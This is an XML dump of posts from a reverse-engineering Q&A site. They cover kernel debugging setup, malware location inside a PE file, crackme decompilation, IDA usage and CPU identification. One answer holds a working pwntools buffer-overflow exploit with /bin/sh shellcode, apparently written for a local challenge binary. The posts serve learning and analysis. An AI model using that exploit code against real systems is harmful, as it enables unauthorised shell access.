  <row Id="18499" PostTypeId="1" CreationDate="2018-06-10T20:17:40.740" Score="6" ViewCount="1132" Body="&lt;p&gt;I'm trying to set up kernel debugging on a physical hardware/desktop to test the new WinDbg Preview. Here's the steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm using a desktop with &lt;a href=&quot;https://ark.intel.com/products/37164/Intel-Desktop-Board-DG41TY&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel DG41TY&lt;/a&gt; board.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Installed Windows 10 Pro build 1803. (Off USB, created using &lt;a href=&quot;https://www.microsoft.com/en-us/software-download/windows10&quot; rel=&quot;nofollow noreferrer&quot;&gt;media creation tool&lt;/a&gt;.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The board has a &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/supported-ethernet-nics-for-network-kernel-debugging-in-windows-10&quot; rel=&quot;nofollow noreferrer&quot;&gt;supported network card&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PCI\VEN_10EC&amp;amp;DEV_8168&amp;amp;SUBSYS_D6128086&amp;amp;REV_03&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Prepped up that debuggee for kernel debugging via Ethernet cable by running the following from an elevated &lt;code&gt;cmd&lt;/code&gt; (where &lt;code&gt;192.168.1.29&lt;/code&gt; is the debugger machine IP address):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bcdedit /debug on&#xA;&#xA;bcdedit /dbgsettings net hostip:192.168.1.29 port:50000 key:1.2.3.4&#xA;&#xA;bcdedit /set &quot;{dbgsettings}&quot; busparams 3.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xJgjR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xJgjR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set it all up to the default boot configuration because that PC was not supposed to have a monitor, mouse or keyboard, so that it could boot up into a debugging mode by default. (For further control I was assuming to remote-desktop into it.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connected it via an Ethernet cable to my Windows 10 Pro laptop.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the debugger laptop, I was using new, Windows Store version of &lt;a href=&quot;https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg Preview&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Debugger client version: 1.0.1805.17002&#xA;Debugger engine version: 10.0.17674.1000&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In WinDbg I set up network kernel debugging as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what that new &quot;Target&quot; field meant, I assumed it to be the target machine (or debuggee) so I gave it that desktop's IP address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A4ZSs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A4ZSs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then rebooted the debuggee desktop ... and nothing happened. Windows 10 hung up during the boot process. I assumed that I didn't set something right on the debuggee side, closed WinDbg and tried to reboot the debuggee machine. But it hung up during the boot again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At this point I disconnected the Ethernet cable and had to reboot it using the power button on that desktop. It failed one more time, and then Windows blue menu came up saying that it failed to automatically recover and needs to reset. (I can't remember the exact wording.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So about 2 hours later, it recovered and that desktop (debuggee) can now boot, but it wiped out everything that I installed on it. (I can recover all of my installed software since it was a brand new installation.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I'm wondering if I was doing something wrong, and if anyone else dealt with the same issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm just trying to avoid wasting 2+ hrs for such a reset in the future.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I was able to replace an HDD in this test PC with an SSD, then reinstall Windows 10 from scratch, and repeat the steps I described above. When I enabled kernel network debugging, that PC started booting visibly slower (about 2 minutes vs. original 15-20 sec.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that as soon as I connected an Ethernet cable from that test PC to my Windows 10 laptop with WinDbg Preview waiting for connection, the booting process never completed. WinDbg Preview never connected to that remote PC either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a while I disconnected the Ethernet cable and forced the reboot by holding down the power button. This time the boot process froze up after about 2-3 minutes of seeing the spinning dots. Here's the exact screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t1guv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t1guv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I force-rebooted it again, it showed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aiJxT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aiJxT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nYadd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nYadd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and eventually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OuaZB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OuaZB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Luckily this time I created a restore point before doing the tests above. Restore points were off by default in Windows 10. So after clicking &quot;Advanced options&quot; I was able to restore from a restore point.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;C:\Windows\System32\LogFiles\Srt\SrtTrail.txt&lt;/code&gt; file mentioned in the screenshot above contains the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Startup Repair diagnosis and repair log&#xA;---------------------------&#xA;Number of repair attempts: 1&#xA;&#xA;Session details&#xA;---------------------------&#xA;System Disk = \Device\Harddisk0&#xA;Windows directory = C:\Windows&#xA;AutoChk Run = 0&#xA;Number of root causes = 1&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: Check for updates&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 0 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: System disk test&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 0 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: Disk failure diagnosis&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 16 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: Disk metadata test&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 296 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: Disk metadata test&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 16 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: Target OS test&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 0 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: Volume content check&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 63 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: Boot manager diagnosis&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 0 ms&#xA;&#xA;Test Performed: &#xA;---------------------------&#xA;Name: System boot log diagnosis&#xA;Result: Completed successfully. Error code =  0x0&#xA;Time taken = 15 ms&#xA;&#xA;Root cause found: &#xA;---------------------------&#xA;Boot critical file c:\efi\microsoft\boot\resources\custom\bootres.dll is corrupt.&#xA;&#xA;Repair action: File repair&#xA;Result: Failed. Error code =  0x57&#xA;Time taken = 2328 ms&#xA;&#xA;---------------------------&#xA;---------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Additionally, if anyone at Microsoft wants me to email you the entire &lt;code&gt;C:\Windows\System32\LogFiles\Srt&lt;/code&gt; folder, I can do so &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/14864/c00000fd?tab=profile&quot;&gt;upon request&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2018-06-17T03:41:37.193" LastActivityDate="2023-05-16T04:11:11.277" Title="Windows 10 v.1803 boot failure after trying to install network kernel debugging with WinDbg Preview" Tags="|windows|debugging|windbg|kernel-mode|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 4.0" />
  <row Id="18501" PostTypeId="1" CreationDate="2018-06-10T23:28:30.417" Score="5" ViewCount="229" Body="&lt;p&gt;Today my AV found an antique piece of malware called Win9X.CIH.dam.&#xA;Instead of just removing it I would like to make a little research for fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ze1dO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ze1dO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does &quot;data0513&quot; exactly mean? I can't understand what the &lt;strong&gt;0513&lt;/strong&gt; is. I suppose it's some kind of offset but can't figure out from where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to dump the malware out of the host executable and disassemble it.&lt;/p&gt;&#xA;" OwnerUserId="24664" LastActivityDate="2018-06-30T22:33:24.257" Title="Finding a malware object inside PE file" Tags="|malware|pe|dump|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18503" PostTypeId="2" ParentId="18501" CreationDate="2018-06-11T14:18:53.717" Score="3" Body="&lt;p&gt;This is likely something specific to the AV. A few possibilities come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;an archive member in case the exe has an embedded archive&lt;/li&gt;&#xA;&lt;li&gt;overlay area (data beyond the area covered by sections)&lt;/li&gt;&#xA;&lt;li&gt;PE resources&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...something else...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0513 seems to be too small to be an offset so I suspect it's a sequence number. To know more you'll probably need to RE the AV engine to figure out what naming scheme it uses and how the numbers are assigned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-06-11T14:18:53.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18504" PostTypeId="1" AcceptedAnswerId="18533" CreationDate="2018-06-11T15:25:13.153" Score="9" ViewCount="33700" Body="&lt;p&gt;I have attached debugger to process/application (exe), but when i go to string references, it shows ntdll.dll references, instead of program.&#xA;how to get the references from program itself?&#xA;is it protected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0Wg7o.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Wg7o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10008" LastActivityDate="2021-04-11T17:41:35.710" Title="How to view string references?" Tags="|x64dbg|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18505" PostTypeId="2" ParentId="18504" CreationDate="2018-06-11T15:35:00.070" Score="5" Body="&lt;p&gt;The way is:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Debug -&amp;gt; Run to user code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you will see the strings of the program itself.&#xA;x64dbg/x32dbg as any other debugger, walks you trough all the process initialization code before entering your &quot;main&quot;.&lt;/p&gt;&#xA;" OwnerUserId="19332" LastEditorUserId="19332" LastEditDate="2018-06-14T16:50:11.513" LastActivityDate="2018-06-14T16:50:11.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18506" PostTypeId="2" ParentId="18501" CreationDate="2018-06-11T15:42:59.487" Score="2" Body="&lt;p&gt;You don't have a reliable way of knowing what that naming schema means more than reverse engineering your AV software itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some AVs have the option to dump the malware. Maybe yours does, but it is not likely the case because the regular user would never use that feature and it may be risky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a tool like: &lt;a href=&quot;http://www.virustotal.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virustotal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To preprocess your file and get some more insight on what the file is.&#xA;VirusTotal it is not a tool just for scanning for malware as one may think. It has a very decent amount of automatic static binary analysis which you may find useful. That tool may throw you the offsets of the regions on which the malware lives, letting you extract it, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then continue your research with your own tools.&lt;/p&gt;&#xA;" OwnerUserId="19332" LastEditorUserId="19332" LastEditDate="2018-06-15T20:15:21.340" LastActivityDate="2018-06-15T20:15:21.340" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18507" PostTypeId="1" CreationDate="2018-06-11T16:21:07.453" Score="4" ViewCount="693" Body="&lt;p&gt;I got stuck at yellow lines, dont understand what it's gonna do. Need advice or help, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KruWK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KruWK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File : &lt;a href=&quot;https://www.sendspace.com/file/3yowjg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sendspace.com/file/3yowjg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Password : 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __fastcall sub_A513C0(char *Src, HWND hWnd)&#xA;{&#xA;  int input_flag; // esi&#xA;  HWND v3; // edi&#xA;  unsigned int pos; // ebx&#xA;  int num_char; // edx&#xA;  char *tmp_input_flag; // edi&#xA;  char chr; // cl&#xA;  int v8; // ecx&#xA;  unsigned int v9; // esi&#xA;  int encoded_flag; // eax&#xA;  HWND v11; // [esp+Ch] [ebp-1D8h]&#xA;  unsigned int v12; // [esp+10h] [ebp-1D4h]&#xA;  unsigned int tmp_pos; // [esp+14h] [ebp-1D0h]&#xA;  char v14[252]; // [esp+1Ch] [ebp-1C8h]&#xA;  char Dst; // [esp+118h] [ebp-CCh]&#xA;  char v16; // [esp+12Dh] [ebp-B7h]&#xA;  CHAR Text[16]; // [esp+17Ch] [ebp-68h]&#xA;  __int64 v18; // [esp+18Ch] [ebp-58h]&#xA;  int v19; // [esp+194h] [ebp-50h]&#xA;  char v20; // [esp+198h] [ebp-4Ch]&#xA;&#xA;  input_flag = Src;&#xA;  v3 = hWnd;&#xA;  v11 = hWnd;&#xA;  strcpy_s(&amp;amp;Dst, 100u, Src);&#xA;  pos = 0;&#xA;  v12 = 0;&#xA;  if ( strlen(input_flag) )&#xA;  {&#xA;    do&#xA;    {&#xA;      if ( pos )&#xA;        num_char = *(input_flag + pos) - *(input_flag + pos - 1);&#xA;      else&#xA;        num_char = *input_flag - 65;            // convert to alphabet 0-&amp;gt;26&#xA;      if ( num_char &amp;lt; 0 )&#xA;        num_char = -num_char;&#xA;      tmp_pos = 0;&#xA;      if ( strlen(input_flag) )                 // lower to upper&#xA;                                                // &#xA;      {&#xA;        tmp_input_flag = input_flag;&#xA;        do&#xA;        {&#xA;          chr = *tmp_input_flag;&#xA;          if ( num_char + *tmp_input_flag &amp;gt; 90 )&#xA;            chr -= 26;&#xA;          ++tmp_pos;&#xA;          v14[tmp_input_flag++ - input_flag] = num_char + chr;&#xA;        }&#xA;        while ( tmp_pos &amp;lt; strlen(input_flag) );&#xA;        pos = v12;&#xA;      }&#xA;      v8 = input_flag + 1;&#xA;      v9 = strlen(input_flag);&#xA;      if ( v9 &amp;gt;= 0xFA )&#xA;      {&#xA;        __report_rangecheckfailure(v8, num_char);&#xA;        __debugbreak();&#xA;        JUMPOUT(__security_check_cookie);&#xA;      }&#xA;      v14[v9] = 0;&#xA;      ++pos;&#xA;      input_flag = v14;&#xA;      v12 = pos;&#xA;    }&#xA;    while ( pos &amp;lt; strlen(v14) );&#xA;    v3 = v11;&#xA;  }&#xA;  encoded_flag = strcmp(input_flag, &quot;NMOVUMUUHUGCMOTOGCNUEY&quot;);&#xA;  if ( encoded_flag )&#xA;    encoded_flag = -(encoded_flag &amp;lt; 0) | 1;&#xA;  if ( !encoded_flag &amp;amp;&amp;amp; v16 == 69 )&#xA;  {&#xA;    v19 = 2112115;&#xA;    _mm_storeu_si128(Text, _mm_loadu_si128(&amp;amp;xmmword_A521C0));&#xA;    v18 = qword_A521D0;&#xA;    memset(&amp;amp;v20, 0, 0x48u);&#xA;    strcat_s(Text, 0x64u, &amp;amp;Dst);&#xA;    if ( MessageBoxA(v3, Text, &quot;Good work!&quot;, 0) == 1 )&#xA;      PostQuitMessage(0);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe this code is just getting &lt;code&gt;input_flag&lt;/code&gt; and using a Caesar cipher with the first letter of &lt;code&gt;input_flag&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24366" LastEditorUserId="18317" LastEditDate="2018-06-11T17:10:14.353" LastActivityDate="2018-06-12T11:19:20.427" Title="Help understand decompiled IDA code" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18508" PostTypeId="2" ParentId="18492" CreationDate="2018-06-11T17:11:10.703" Score="9" Body="&lt;p&gt;It looks like you have two issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You are overwriting your input buffer with those &lt;code&gt;push&lt;/code&gt;-es so that why you have some junk on the stack and that's why our application crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See those two pictures that show your assembly before and after executing the second push for the /bin/sh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0N176.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0N176.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EOcBK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EOcBK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clearly see odd &lt;code&gt;das&lt;/code&gt; and &lt;code&gt;bound&lt;/code&gt; opcodes instead of &lt;code&gt;push&lt;/code&gt;es.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You're not taking into account that the code is relocated so your buffer is not always in the same place. When you run from &lt;code&gt;gdb&lt;/code&gt; you have the code that will jump to the beginning of the buffer (this is the part &lt;code&gt;\xc0\xd0\xff\xff&lt;/code&gt;) and for your &lt;code&gt;gdb&lt;/code&gt; sessions, this is true since &lt;code&gt;gdb&lt;/code&gt; turns &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASLR&lt;/a&gt; off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check that by issuing this command in &lt;code&gt;gdb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;gdb-peda$ show disable-randomization &lt;br /&gt;&#xA;  Disabling randomization of debuggee's virtual address space is on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you change that by &lt;code&gt;set disable-randomization off&lt;/code&gt; it should start failing also in &lt;code&gt;gdb&lt;/code&gt; as the buffer will be located each time at a different location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do this correctly, you need to locate where the buffer is. This is also why you have a tip where it is located in the first message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To compensate for that two issues I would use &lt;a href=&quot;https://github.com/Gallopsled/pwntools#readme&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwntools&lt;/a&gt; for this and prepare a script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pwn import *&#xA;&#xA;context(arch='i386', os='linux')&#xA;&#xA;r = process('./shellcoding.dms')&#xA;# read the line that has the info about the address&#xA;l = r.recvline()&#xA;print l&#xA;# extract it&#xA;addr = int(l[18:], 16)&#xA;#nop sled at the end but not actually needed. We only need to fill the space for the buffer to overwrite the ret&#xA;exploit = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;+&quot;\x90&quot;*21 &#xA;print &quot;Address is: &quot;+hex(addr)&#xA;# add an address to be taken from the stack by ret&#xA;exploit += p32(addr) &#xA;&#xA;r.send(exploit+&quot;\n&quot;)&#xA;# read the &quot;ok... lets see if you got it...&quot; message&#xA;r.recvline()&#xA;r.interactive() #pwn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running this should work!&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="2147" LastEditDate="2018-06-12T05:35:38.990" LastActivityDate="2018-06-12T05:35:38.990" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18510" PostTypeId="2" ParentId="18507" CreationDate="2018-06-12T11:19:20.427" Score="3" Body="&lt;p&gt;tmp_input_flag is just a pointer to the current char of the whole string which starts with input_flag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   tmp_input_flag = input_flag;  // set to first chars location&#xA;   do&#xA;   {&#xA;      chr = *tmp_input_flag;     // hold the actual value at pointers location, e.g. 'A'&#xA;      if ( num_char + *tmp_input_flag &amp;gt; 90 )  //check to see if outside Upper-Case letters and remedy&#xA;         chr -= 26;&#xA;      ++tmp_pos;&#xA;      v14[tmp_input_flag++ - input_flag] = num_char + chr;  //in first round determine shift modifier to use in rest, except when &amp;lt; 65&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some example cases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a -&amp;gt; A (32)&#xA;l -&amp;gt; L (32)&#xA;o -&amp;gt; O (32)&#xA;alo-&amp;gt;ALO&#xA;&#xA;A -&amp;gt; O (14)&#xA;L -&amp;gt; Z (14)&#xA;O -&amp;gt; C (12)&#xA;ALO-&amp;gt;OZC&#xA;&#xA;1 -&amp;gt; D (19)&#xA;2 -&amp;gt; E (19)&#xA;3 -&amp;gt; F (19)&#xA;4 -&amp;gt; G (19)&#xA;1234-&amp;gt;DEFG&#xA;&#xA;{ -&amp;gt; R (41)&#xA;} -&amp;gt; T (41)&#xA;| -&amp;gt; S (41)&#xA;~ -&amp;gt; U (41)&#xA;{}|~-&amp;gt;RTSU&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that if ASCII values less than 65/'A'(line 38) are used the results are not influenced by the same shift value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_ -&amp;gt; X (7)&#xA;= -&amp;gt; P (19)&#xA;! -&amp;gt; N (45)&#xA;$ -&amp;gt; Q (45)&#xA;% -&amp;gt; R (45)&#xA;&amp;amp; -&amp;gt; S (45)&#xA;_=!$%&amp;amp;-&amp;gt;XPNQRS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24679" LastActivityDate="2018-06-12T11:19:20.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18511" PostTypeId="1" CreationDate="2018-06-12T11:33:24.657" Score="3" ViewCount="6120" Body="&lt;p&gt;How can i settings IDA show me string instead of offset_xxx?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8r8kW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8r8kW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24366" LastEditorUserId="245" LastEditDate="2018-06-17T12:22:59.623" LastActivityDate="2018-06-17T12:22:59.623" Title="IDA Hex-Rays Decompiler : Show strings instead of offset" Tags="|decompilation|hexrays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18512" PostTypeId="2" ParentId="18511" CreationDate="2018-06-12T11:42:31.623" Score="1" Body="&lt;p&gt;Have you tried changing the prototype of the function licensed_to() so the 2nd argument is &quot;const char *&quot; and, also, have you made a string at the given offset? If not, go to the address in that offset and press 'a' (or Alt+A and then select &quot;Unicode&quot;).&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-06-12T11:42:31.623" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18513" PostTypeId="2" ParentId="17445" CreationDate="2018-06-12T16:13:03.260" Score="1" Body="&lt;p&gt;You need to select &lt;code&gt;Remote Linux&lt;/code&gt; in the debugger attach menu of IDA. We are using x86 emulator, not ARM CPU. Just worked this out myself by accident.&lt;/p&gt;&#xA;" OwnerUserId="24683" LastEditorUserId="245" LastEditDate="2018-08-11T20:00:01.733" LastActivityDate="2018-08-11T20:00:01.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18514" PostTypeId="1" CreationDate="2018-06-12T17:54:21.457" Score="3" ViewCount="277" Body="&lt;p&gt;I'm looking for the CPU/Instruction-Set of a closed embedded system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E6 F2 F3 15  E6 F3 0A EF  E6 F8 9B 7F  E6 F9 5B D5  0D 32 49 94 EA 30 60 71&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;E6 Fx&lt;/code&gt; is &quot;LDR 16-Bit-Word immediate&quot; or &quot;XOR 16-Bit-Word immediate&quot;.&lt;/li&gt;&#xA;&lt;li&gt;16-Bit-Word behind &lt;code&gt;E6 Fx&lt;/code&gt; is in little endian format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;New insights.&#xA;I'll think this is the start of the boot loaader.&#xA;The data was read with upload command &quot;Read address=0xC00000 length=256&quot; from the embedded system; 0xC00000 is the lowest address which is accepted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FA C0 9E 27 10 C7 01 00 03 00 01 00 80 41 01 00&#xA;27 C6 01 00 02 00 01 00 D8 41 01 00 11 C7 01 00&#xA;01 00 01 00 02 42 07 00 2E 86 02 00 01 00 02 00&#xA;12 42 01 00 31 C6 03 00 03 00 03 00 98 41 01 00&#xA;34 B6 02 00 00 00 00 00 00 00 09 00 36 B6 02 00&#xA;00 00 00 00 00 00 0A 00 37 A6 00 00 00 00 00 00&#xA;00 00 0B 00 3E C7 01 00 01 00 01 00 0A 42 0C 00&#xA;22 97 02 00 00 00 00 00 00 00 0D 00 34 44 C0 00&#xA;E4 44 C0 00 80 37 C0 00 56 41 C0 00 18 34 C0 00&#xA;24 30 C0 00 B2 2B C0 00 40 43 C0 00 E8 1F C0 00&#xA;86 11 C0 00 50 19 C0 00 F0 31 C0 00 BA 44 C0 00&#xA;5C 44 C0 00 86 36 C0 00 EC 21 C0 00 54 44 C0 00&#xA;00 00 00 00 64 10 B7 1D C8 20 6E 3B AC 30 D9 26&#xA;90 41 DC 76 F4 51 6B 6B 58 61 B2 4D 3C 71 05 50&#xA;20 83 